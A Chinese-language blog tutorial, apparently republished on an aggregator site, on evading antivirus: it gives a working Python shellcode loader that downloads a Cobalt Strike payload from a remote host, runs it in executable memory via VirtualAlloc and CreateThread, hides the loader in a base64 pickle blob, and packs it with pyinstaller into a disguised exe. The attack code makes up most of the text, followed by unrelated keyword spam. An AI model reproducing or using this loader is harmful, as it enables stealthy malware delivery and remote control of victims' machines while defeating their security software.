BypassAv有哪些小技巧
发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,BypassAv有哪些小技巧,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。01开始首先我们得用cobaltstrike生
千家信息网最后更新 2025年12月02日BypassAv有哪些小技巧
BypassAv有哪些小技巧,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
01开始
首先我们得用cobaltstrike生成一个python脚本的payload
然后复制里面的payload进行Base64编码
第二步把刚刚生成的Base64丢到服务器里面进行访问
能看到这个就说明没错
然后下一步 把地址复制 进行反序列化(重要!!)
import base64shellcode = """import ctypes,urllib.request,codecs,base64shellcode = urllib.request.urlopen('http://172.20.10.2:8080/1111.txt').read()shellcode = base64.b64decode(shellcode)shellcode =codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""class A(object): def __reduce__(self): return (exec, (shellcode,))ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)print(ret_base64)#ret_decode = base64.b64decode(ret_base64)
只需要把地址添加到红框里面即可 然后运行
运行之后我们会得到下面的反序列化的
我们把这串代码复制到此脚本进行生成
import base64,pickle,ctypes,urllib.requestshellcode =b'gANjYnVpbHRpbnMKZXhlYwpxAFg1BAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAoKc2hlbGxjb2RlID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzE3Mi4yMC xMC yOjgwODAvMTExMS50eHQnKS5yZWFkKCkKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShzaGVsbGNvZGUpCnNoZWxsY29kZSA9Y29kZWNzLmVzY2FwZV9kZWNvZGUoc2hlbGxjb2RlKVswXQpzaGVsbGNvZGUgPSBieXRlYXJyYXkoc2hlbGxjb2RlKQojIOiuvue9rlZpcnR1YWxBbGxvY+i/lOWbnuexu+Wei+S4umN0eXBlcy5jX3VpbnQ2NApjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CiMg55Sz6K+35YaF5a2YCnB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksIGN0eXBlcy5jX2ludCgweDQwKSkKCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQojIOWIm+W7uuS4gOS4que6v+eoi+S7jnNoZWxsY29kZemYsuatouS9jee9rummluWcsOWdgOW8gOWni+aJp+ihjApoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu'pickle.loads(base64.b64decode(shellcode))
然后点击运行你会发现 在cs里面成功上线了一台机器
最后们利用pyinstaller这个脚本进行打包成exe
命令:pyinstaller -F 2.py --noconsole -i Ladon.ico --key 121212
生成完毕的exe在dist目录下
最后我们在测试一下能不能运行
成功上线
02结束
附上几个截图
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。
运行
生成
地址
脚本
成功
序列
线程
帮助
技巧
清楚
重要
代码
位置
内存
内容
命令
对此
截图
文章
新手
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
qq企业邮箱的服务器
荣成途歌网络技术有限公司
闵行区节能软件开发服务产品介绍
襄阳定制软件开发中心
数据库运维驻场总结
破解同花顺数据库
网络安全运维项目介绍
挖矿dns服务器地址
中国网络安全大会是什么时候
网络安全与防御技术
软件开发哪个岗位好
竞技世界网络技术有限公司
福州生鲜配送软件开发
连云港市网络安全领导小组
服务器虚拟化的管理和维护
怎么查看数据库表之间关系
大学生网络安全海报素材
网络安全模式黑屏等待
我的世界服务器如何防止凋零
服务器系统安装方法
sql ce数据库
杭州软件开发自学步骤
linux做dns服务器解析慢
俄罗斯游戏数据库
网络安全白名单保护原理
网络安全阻止设置
博睿内存数据库
昕诺飞公司软件开发待遇
永兴安卓软件开发
长春什么是网络技术服务排名靠前